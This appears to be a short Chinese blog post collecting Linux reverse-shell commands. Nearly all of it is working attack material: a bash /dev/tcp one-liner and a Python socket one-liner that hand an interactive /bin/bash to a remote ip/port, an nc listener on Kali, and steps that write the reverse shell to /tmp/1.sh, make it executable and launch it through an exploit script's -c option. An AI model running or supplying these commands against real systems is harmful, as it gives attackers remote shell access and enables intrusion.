美文网首页Shell
linux反弹shell小记录

linux反弹shell小记录

作者: 你可以叫我风平 | 来源:发表于2021-04-14 14:23 被阅读0次

    在某些情况下可能需要我们反弹一个shell来更好的执行某些命令。就可以用到这些命令:

    Bash反弹shell命令如下:

    bash -i >& /dev/tcp/ip/port 0>&1

    使用python反弹,反弹shell命令如下:

    python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

    首先,使用nc在kali上监听端口:

    nc -lvvp 7777

    2021-11-10新增写文件反弹shell
    反弹shell: (xxxx xxx xxx 代表运行POC的一些命令 然后 -c 后面是执行命令的地方)
    xxxxxxx xxx xx -c "echo 'bash -i >& /dev/tcp/ip/port 0>&1' > /tmp/1.sh" 这条语句意思是代表,将反弹shell命令写成sh脚本 到tmp目录下
    xxxx xxxx xxxx -c "chmod +x /tmp/1.sh" 这条语句意思是代表,对写入成功的sh脚本加执行权限 CVE-2021-2205.py xxx xxx xxxx xxxxxx -c "/bin/bash /tmp/1.sh" 这条语句意思是代表,运行反弹shell脚本

    相关文章

      网友评论

        本文标题:linux反弹shell小记录

        本文链接:https://www.haomeiwen.com/subject/fkgklltx.html